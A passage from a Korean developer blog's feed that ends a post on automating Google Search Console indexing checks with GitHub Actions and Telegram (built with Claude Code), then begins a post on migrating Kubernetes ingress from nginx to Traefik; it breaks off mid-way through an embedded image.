    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;첫 실행 0/57 인덱싱 결과와 원인 진단 매트릭스 — sitemap 미제출·속성 신규·도메인 이관·robots.txt 4가지 후보&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;해결 순서&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;robots.txt&lt;/code&gt;로 &lt;code class=&quot;language-text&quot;&gt;Disallow: /&lt;/code&gt; 없는지 확인 → &lt;strong&gt;통과&lt;/strong&gt; (문제 없음)&lt;/li&gt;
&lt;li&gt;GSC에서 &lt;code class=&quot;language-text&quot;&gt;Sitemaps&lt;/code&gt; 메뉴 → &lt;code class=&quot;language-text&quot;&gt;https://blog.javapark.kr/sitemap-index.xml&lt;/code&gt; &lt;strong&gt;수동 제출&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;주요 페이지 5~10개 선택해서 &lt;code class=&quot;language-text&quot;&gt;URL 검사&lt;/code&gt; → &lt;strong&gt;색인 생성 요청&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;1~2주 기다리면서 &lt;strong&gt;이 모니터의 주간 리포트로 인덱싱 진행률 추적&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;모니터가 없었다면 이 진단 자체가 시작되지 않았을 겁니다. 자동화의 진짜 가치는 여기 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Telegram 메시지 실제 모습&lt;/h2&gt;
&lt;p&gt;변화 발생 시 오는 메시지 예시:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;🔔 GSC Indexing Monitor
2026-04-28 · https://blog.javapark.kr

✅ 신규 인덱싱: 3건
  • /devops/k8s-understanding/
  • /devops/kubectl-essential-commands/
  • /devops/k9s-essential-guide/

⚠️ 인덱싱 대기: 54건

📈 전체: 57개 중 3개 인덱싱 (5.3%)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;한 화면에 &lt;strong&gt;현재 상태&lt;/strong&gt;와 &lt;strong&gt;지난 주 대비 변화&lt;/strong&gt;가 같이 잡힙니다. 주 1회 1분만 확인하면 블로그 SEO 건강 상태 파악 완료.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Code 활용 회고 — 30분 구축의 비결&lt;/h2&gt;
&lt;p&gt;이 시스템을 &lt;strong&gt;Claude Code로 30분 만에 완성&lt;/strong&gt;했습니다. 핵심 요인 3가지.&lt;/p&gt;
&lt;h3&gt;1) Subagent로 API 문서 조사&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;googleapis&lt;/code&gt; 라이브러리의 Search Console API 스펙을 Subagent에게 조사시키고, 주요 메서드·응답 구조만 요약받았습니다. 메인 세션은 그 결과를 받아 코드만 작성하면 됐습니다. &lt;a href=&quot;/subagent-essential-guide/&quot;&gt;Subagent 편&lt;/a&gt;의 &quot;컨텍스트 격리&quot; 가치가 여기서 직접 드러납니다.&lt;/p&gt;
&lt;h3&gt;2) 모듈 단위 병렬 생성&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;sitemap.js&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;gsc.js&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;diff.js&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;telegram.js&lt;/code&gt;를 각각 독립 모듈로 지정해 &lt;strong&gt;한 번에 4개 파일 생성&lt;strong&gt;. Claude Code가 파일 간 인터페이스만 맞춰주면 됩니다. 만약 하나의 긴 파일로 작성하다 에러 나면 전체 디버깅이 필요한데, 분리돼 있으면 &lt;/strong&gt;해당 파일만&lt;/strong&gt; 재작성하면 됩니다.&lt;/p&gt;
&lt;h3&gt;3) pre-commit 훅까지 자동 대응&lt;/h3&gt;
&lt;p&gt;레포의 husky + prettier + eslint가 자동 실행되는 환경이었는데, eslint의 &lt;code class=&quot;language-text&quot;&gt;Set/Map is not defined&lt;/code&gt; 같은 에러를 Claude Code가 즉시 파악하고 &lt;strong&gt;로컬 &lt;code class=&quot;language-text&quot;&gt;.eslintrc.json&lt;/code&gt;으로 Node ESM 환경 선언&lt;/strong&gt;으로 해결했습니다. 사람이 직접 ESLint 설정을 뜯어보는 시간이 절약됐습니다.&lt;/p&gt;
&lt;p&gt;&quot;도구가 도구를 만든다&quot;는 느낌이 강하게 드는 작업이었습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;확장 아이디어 5가지&lt;/h2&gt;
&lt;p&gt;기본 시스템이 안정되면 붙일 수 있는 것들.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;확장 아이디어&lt;/th&gt;
&lt;th&gt;가치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;일 단위 cron&lt;/strong&gt;으로 변경&lt;/td&gt;
&lt;td&gt;이슈 감지 속도 7배 빨라짐 (API quota 여유 확인 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;블로그 내부 &lt;code class=&quot;language-text&quot;&gt;/insights&lt;/code&gt; 대시보드&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;indexing-status.json을 Gatsby 페이지로 시각화 (독자에게도 공개 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Canonical 불일치 즉시 알림&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;중복 콘텐츠 판정으로 SEO 누수되기 전에 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;**IndexNow 프로토콜 병행&lt;/td&gt;
&lt;td&gt;Bing·Yandex에는 즉시 푸시** 가능 (Google은 미지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;**배포 훅 연동&lt;/td&gt;
&lt;td&gt;Netlify 배포 성공 시 30분 뒤 해당 URL만 타겟팅 체크**&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;가장 투자 대비 효과가 큰 건 &lt;strong&gt;&quot;블로그 내부 대시보드&quot;&lt;/strong&gt;입니다. 본인 블로그의 SEO 현황을 공개하는 것 자체가 기술 블로그의 차별화 포인트가 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;한계와 현실&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;한계&lt;/th&gt;
&lt;th&gt;대응 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;API quota: &lt;strong&gt;일당 2000, 분당 600&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;개인 블로그는 여유. URL 1000+ 넘어가면 배치 분할 고려&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;인덱싱 상태는 &lt;strong&gt;실시간 아님&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;구글 내부 캐시 — 몇 시간~며칠 지연 있을 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API는 &lt;strong&gt;읽기 전용&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&quot;지금 인덱싱해줘&quot; 요청은 별도(Indexing API, 제한적) 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Telegram 메시지 &lt;strong&gt;4096자 제한&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;큰 이슈가 많으면 메시지 분할 필요 (현재는 미구현)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. 이거 돌리는 데 돈이 드나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;무료입니다.&lt;/strong&gt; Google Search Console API는 무료 할당량(일 2000회) 내에서 사용, GitHub Actions는 public 레포는 무제한, Telegram Bot도 무료. 개인 블로그 규모에서는 &lt;strong&gt;0원으로 운영&lt;/strong&gt; 가능합니다.&lt;/p&gt;
&lt;h3&gt;Q. sitemap을 여러 개 쓰거나 분할한 경우는?&lt;/h3&gt;
&lt;p&gt;코드에서 &lt;code class=&quot;language-text&quot;&gt;sitemap-index.xml&lt;/code&gt;을 먼저 fetch하고, 그 안의 &lt;code class=&quot;language-text&quot;&gt;&amp;lt;sitemap&gt;&lt;/code&gt; 자식들을 모두 순회합니다. 대부분의 Gatsby/Hugo/Jekyll 기본 설정이 이 구조를 쓰므로 별도 작업 불필요.&lt;/p&gt;
&lt;h3&gt;Q. Google Indexing API로 &quot;지금 인덱싱&quot; 요청도 자동화할 수 있나요?&lt;/h3&gt;
&lt;p&gt;가능은 한데 &lt;strong&gt;공식적으로 &lt;code class=&quot;language-text&quot;&gt;JobPosting&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;BroadcastEvent&lt;/code&gt; 타입만 지원합니다. 일반 블로그 글은 ToS 위반이 됩니다. 많은 사이트가 편법으로 쓰지만 계정 제재 리스크가 있어 비권장&lt;/strong&gt;. 대신 &lt;strong&gt;Bing의 IndexNow&lt;/strong&gt;는 공식 지원하므로 그쪽으로 자동화하는 게 안전.&lt;/p&gt;
&lt;h3&gt;Q. Canonical 불일치가 뭔가요?&lt;/h3&gt;
&lt;p&gt;내가 선언한 canonical URL(&lt;code class=&quot;language-text&quot;&gt;&amp;lt;link rel=&quot;canonical&quot;&gt;&lt;/code&gt;)과 Google이 실제로 선택한 canonical이 다른 경우입니다. 예: &lt;code class=&quot;language-text&quot;&gt;/post/&lt;/code&gt; vs &lt;code class=&quot;language-text&quot;&gt;/post/index.html&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;http://&lt;/code&gt; vs &lt;code class=&quot;language-text&quot;&gt;https://&lt;/code&gt;. 불일치가 있으면 내 URL 대신 Google 선택 URL이 노출되며, SEO 가치가 분산됩니다. 모니터가 이걸 자동 감지해 알려주는 게 실용적 가치 중 하나.&lt;/p&gt;
&lt;h3&gt;Q. &lt;code class=&quot;language-text&quot;&gt;Domain property&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;URL prefix property&lt;/code&gt; 차이는요?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Domain property&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;sc-domain:blog.javapark.kr&lt;/code&gt; — DNS TXT 인증, &lt;strong&gt;하위 모든 경로·프로토콜·www&lt;/strong&gt; 자동 커버. 권장.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;URL prefix property&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;https://blog.javapark.kr/&lt;/code&gt; — HTML 파일 인증, 프로토콜·www 구분됨. 더 제약적.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;신규 시작하면 Domain property로 가세요. 이미 URL prefix로 되어있으면 병행 등록 후 Domain으로 이관.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 측정, 복구, 콘텐츠 개선을 분리하라&lt;/h2&gt;
&lt;p&gt;&quot;구글에 내 글이 어떻게 보이는지&quot;를 &lt;strong&gt;사람이 수동으로 확인하는 일은 이제 그만&lt;/strong&gt;해도 됩니다. API와 Cron, 그리고 Telegram 봇 하나면 주간 자동 건강검진이 가능합니다.&lt;/p&gt;
&lt;p&gt;이번 두 번의 0% 사례에서 확인한 핵심:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GSC URL Inspection API는 &lt;strong&gt;무료 + 강력&lt;/strong&gt;, 개인 블로그는 quota 여유&lt;/li&gt;
&lt;li&gt;GitHub Actions cron + JSON 상태 저장으로 &lt;strong&gt;추이 추적&lt;/strong&gt; 가능&lt;/li&gt;
&lt;li&gt;첫 실행의 &lt;code class=&quot;language-text&quot;&gt;57/0&lt;/code&gt;과 4개월 뒤 &lt;code class=&quot;language-text&quot;&gt;119/0&lt;/code&gt;을 같은 기준으로 비교할 수 있었음&lt;/li&gt;
&lt;li&gt;Secret 누락처럼 &lt;strong&gt;모니터 자체가 멈추는 실패도 먼저 감지&lt;/strong&gt;해야 함&lt;/li&gt;
&lt;li&gt;canonical·robots·가져오기 성공은 필요조건이지 색인 보장이 아님&lt;/li&gt;
&lt;li&gt;반복 제출보다 크롤링된 미색인 글의 독자적 가치와 내부 링크 개선이 다음 단계&lt;/li&gt;
&lt;li&gt;확장: 일 단위 cron, 블로그 내부 대시보드, IndexNow 연동까지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;다음에 써볼 만한 주제&lt;/h3&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Gatsby 페이지로 SEO 대시보드 노출하기 (indexing-status.json 시각화)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; IndexNow로 Bing·Yandex 즉시 인덱싱 요청&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Netlify Deploy Hook과 연동해 &quot;배포 후 30분 뒤 해당 URL만 체크&quot;&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Slack·Discord 다중 채널 동시 알림&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;관련 포스팅&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/subagent-essential-guide/&quot;&gt;Claude Code Subagent 완벽 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/beginner-guide-2026/&quot;&gt;Claude Code 입문 가이드 2026&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/token-saving-advanced/&quot;&gt;Claude Code 토큰 절약 고급편&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여러분의 블로그는 구글에 얼마나 잘 잡히고 있으신가요? GSC를 &lt;strong&gt;&quot;문제 생긴 후 확인하는 곳&quot;&lt;/strong&gt;에서 &lt;strong&gt;&quot;주간 리포트로 받아보는 건강검진&quot;&lt;/strong&gt;으로 바꿔보세요. 구축은 30분, 효과는 몇 달치입니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[nginx-ingress → Traefik 마이그레이션 실전 — 무중단으로 Ingress Controller 교체하기]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "7편대로 ingress-nginx로 HTTPS까지 다 자동화했는데, 팀에서 Traefik으로 바꾸자는 이야기가 나왔습니다. 다시 다 엎어야 하나요?" 솔직히 저도 그랬습니다. 운영 중인 Controller…]]></description><link>https://blog.javapark.kr/nginx-to-traefik-migration/</link><guid isPermaLink="false">https://blog.javapark.kr/nginx-to-traefik-migration/</guid><pubDate>Tue, 21 Apr 2026 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;7편대로 ingress-nginx로 HTTPS까지 다 자동화했는데, 팀에서 Traefik으로 바꾸자는 이야기가 나왔습니다. 다시 다 엎어야 하나요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 그랬습니다. 운영 중인 Controller를 바꾸는 건 &lt;strong&gt;진입점을 바꾸는 일&lt;/strong&gt; — 잘못하면 서비스 전체 접근 불가 상황이 벌어집니다. &quot;어차피 annotation이랑 YAML 다시 쓰는 게 덜 나을까&quot; 생각도 들고, 한 번 결정하면 돌이키기 어려워 보입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;Controller 마이그레이션은 &quot;병렬 운영 기간&quot;만 제대로 두면 무중단으로 됩니다.&lt;/strong&gt; nginx와 Traefik을 &lt;strong&gt;동시에&lt;/strong&gt; 클러스터에 두고, Ingress별로 &lt;code class=&quot;language-text&quot;&gt;ingressClassName&lt;/code&gt;만 바꿔가며 점진적으로 전환하면 됩니다. cert-manager는 &lt;strong&gt;그대로 재사용&lt;/strong&gt; 가능합니다. 오늘은 이 순서대로, nginx vs Traefik 차이부터 Traefik 설치, 실제 Ingress 전환, 미들웨어로 annotation 대체, 롤백 전략까지 정리하겠습니다.&lt;/p&gt;
&lt;p&gt;이전 편을 안 보셨다면 &lt;a href=&quot;/k8s-understanding/&quot;&gt;K8S에 대한 이해&lt;/a&gt; · &lt;a href=&quot;/helm-package-management/&quot;&gt;Helm 완벽 가이드&lt;/a&gt; · &lt;a href=&quot;/argocd-gitops-guide/&quot;&gt;ArgoCD GitOps 가이드&lt;/a&gt; · &lt;a href=&quot;/ingress-cert-manager-guide/&quot;&gt;Ingress + cert-manager 가이드&lt;/a&gt;부터 읽으시면 흐름이 이어집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 Traefik으로? — 현실적 동기 5가지&lt;/h2&gt;
&lt;p&gt;먼저 &lt;strong&gt;&quot;굳이 바꿀 필요가 있나?&quot;&lt;/strong&gt;부터 정리합니다. 다음 중 2개 이상 공감되면 전환 고려 가치가 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;동기&lt;/th&gt;
&lt;th&gt;구체적 상황&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;자동 서비스 디스커버리&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Docker·Consul·Kubernetes 라벨만으로 라우팅이 자동 구성됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CRD 기반 선언&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;annotation으로 설정이 뒤얽히는 nginx와 달리 &lt;code class=&quot;language-text&quot;&gt;IngressRoute&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;Middleware&lt;/code&gt;로 &lt;strong&gt;깔끔히 분리&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;네이티브 Gateway API&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;차세대 Ingress 표준을 Traefik이 가장 먼저 native 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;내장 Dashboard·Metrics&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;별도 도구 없이 트래픽·라우터 시각화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hot reload&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;설정 변경 시 downtime 없이 재적용 (nginx-ingress도 되지만 동작 검증 편함)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;반대로 &lt;strong&gt;nginx-ingress를 유지할 이유&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;이미 안정적 운영 중, 생태계·문서 가장 풍부&lt;/li&gt;
&lt;li&gt;단순 기능만 쓰고 있음 (Traefik 장점이 실질적 가치를 주지 않음)&lt;/li&gt;
&lt;li&gt;팀이 nginx 설정·annotation에 깊이 숙련됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&quot;이유 없는 전환은 비용&quot;&lt;/strong&gt;이라는 걸 먼저 짚어둡니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;nginx vs Traefik — 설계 철학의 차이&lt;/h2&gt;
&lt;p&gt;차이를 한 줄로: &lt;strong&gt;annotation 중심 vs CRD 중심&lt;/strong&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;ingress-nginx&lt;/th&gt;
&lt;th&gt;Traefik&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;주 설정 방식&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ingress&lt;/code&gt; + &lt;strong&gt;annotations&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;IngressRoute&lt;/code&gt;&lt;/strong&gt; CRD (또는 Ingress)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;미들웨어(rate·CORS)&lt;/td&gt;
&lt;td&gt;annotation 값&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;Middleware&lt;/code&gt;&lt;/strong&gt; CRD로 재사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;설정 가독성&lt;/td&gt;
&lt;td&gt;annotation 많아지면 한 리소스가 뚱뚱해짐&lt;/td&gt;
&lt;td&gt;라우터·미들웨어 분리, &lt;strong&gt;관심사 분리&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;커뮤니티&lt;/td&gt;
&lt;td&gt;가장 크다&lt;/td&gt;
&lt;td&gt;충분히 큼, 공식 docs 친절&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서비스 디스커버리&lt;/td&gt;
&lt;td&gt;Kubernetes Ingress만&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;다중 Provider&lt;/strong&gt; (K8S·Docker·Consul 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dashboard&lt;/td&gt;
&lt;td&gt;별도 Prometheus+Grafana 조합&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;내장&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gateway API&lt;/td&gt;
&lt;td&gt;지원 (후발)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;선도&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;표준 Ingress 호환&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;td&gt;✓ (하위 호환 모드)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;즉 Traefik은 &lt;strong&gt;&quot;설정을 객체로 분해&quot;&lt;/strong&gt;하는 방향이고, nginx는 &lt;strong&gt;&quot;한 Ingress 리소스에 옵션 총집합&quot;&lt;/strong&gt; 방향입니다. 취향 + 팀 규모의 문제.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/0cc675dbfe98e30205c9d804332f4f06/64756/diagram-comparison.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACJUlEQVR42iWS6W7jIBCA/QY1cS7j+8KAMeADx07iOEmz6XbVrtT+2ePHvv9jLE6lTyM08M2MAMOEYhG2CWI5YSlVkJ2TcmTtM64uov9Bqmc7US4aNB7e+3ivo4t6J9tpDAB5iKXktGSFqNqkmlg9NruLUFMzfEPtyzYbIN47xcljk1ucHDpCcoT4aKedYTnFZcBv12LoOMKckhITgYigXCWIw+EjvP0Lpz9e892t7q68Q37TOPy2STpj6bIUN4SrvKjCTIapiDTosUaVL29J9xaoV5uetvlhkx/WaL/KBs06bmfZi5s46h2ngn619rhlUwsWC5vCWDr5PiDHZVKbDgOQmV/YxUKfjBpj5fMgqHp8HegVRjXQGzMUbGfZI6Ov5aheOBw4pQkf2Az4chU2xiYQXizTtENoZ0dy45d2wO1QbAPuo8bBB33D66y1PP7o+WBLgSeXQW1swyrGMsGVBhUtZoqUHeE9lT0qO4eMAbtAelwlyorUItS0IGh0tHxp2FGdkjqjzcPs8JcpNDvElI0GiAYrrJ88YboCuBK4wtTze9XCEwaMG21qJy9UXioyaz3hO53JCrWMW5h0Xj7oL7HxahPyJ1g+2YX5qGLAtGHqON3e99OLdmZT9PMITCW4huJcP/9St9/F+LmmV4ucQD6C7AiSQRcy3LRt2vF8/3l7/ai6STecp2D62dsolxG/qPtfOn0mwzsg04KcQX7SspUdgMP/AxTedJ4+NszmAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/0cc675dbfe98e30205c9d804332f4f06/a1b3b/diagram-comparison.webp 215w,
/static/0cc675dbfe98e30205c9d804332f4f06/fc700/diagram-comparison.webp 430w,
/static/0cc675dbfe98e30205c9d804332f4f06/521f7/diagram-comparison.webp 860w,
/static/0cc675dbfe98e30205c9d804332f4f06/cbd37/diagram-comparison.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/0cc675dbfe98e30205c9d804332f4f06/f7886/diagram-comparison.png 215w,
/static/0cc675dbfe98e30205c9d804332f4f06/bc750/diagram-comparison.png 430w,
/static/0cc675dbfe98e30205c9d804332f4f06/3e3fe/diagram-comparison.png 860w,
/static/0cc675dbfe98e30205c9d804332f4f06/64756/diagram-comparison.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/0cc675dbfe98e30205c9d804332f4f06/3e3fe/diagram-comparison.png&apos; alt=&apos;nginx annotation 방식 vs Traefik CRD/Middleware 방식 비교 — 같은 기능을 구현하는 두 접근법&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;nginx annotation 방식 vs Traefik CRD/Middleware 방식 비교 — 같은 기능을 구현하는 두 접근법&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마이그레이션 전략 — 4단계 병렬 운영&lt;/h2&gt;
&lt;p&gt;핵심은 &lt;strong&gt;&quot;한 번에 교체하지 않는다&quot;&lt;/strong&gt;입니다. 단계를 나눕니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[1단계] Traefik 설치 (nginx 그대로 둠)
   ↓
[2단계] 비운영 Ingress 1~2개 전환 · 검증
   ↓
[3단계] 운영 Ingress 점진 전환 (도메인별·서비스별)
   ↓
[4단계] nginx 제거&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/556d61074bc8d2c3a426735fa7494a0f/64756/diagram-migration-flow.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMElEQVR42hXSiY6jIBgAYN9gd9pOD7UiHiiXV1EUUGsdp7PHZN//bZYmXwiQ/Ef+/M6PC9+l4z6b/aRIufCpps3C27VWX6hcTrB1095Fg58N10wFub7m6mqf9jOVzt7jgMqgXEq50nYMy7mQWyE/a/2LiwWSDpI+oj2kKiinKx9tdsvDg5tI593nBUZJXmfNBrCGWIVEAWJCLD8W0fWSlJLXEjcKjJvX3t3beLmNbmUuceccguqMdcjGWv22QqIBVrY3gIem7Vk9pFxlhUKFRsUzog9A7laQT+eodQ6g2fGnR2csNlSvkE1xcYdsjpgyY1uJjpQdrVpcKVT9i+kXxBvMN5A9TlA4RyBAukVkqWxl843qB8AmwMaepfiblX9iuloJXcpOZ7xLqdVGuD2FN+cUthH6DPMZNWtSPSI+h2wKiIHEcPE7Zl8xtam3mK1ULnkpERMZEzEWR9A4p0gcGwOquTHfkM8vbIqKe8Smorqzcob5EOVDQvq607jqbTCir+D3oHbOcXsutUd1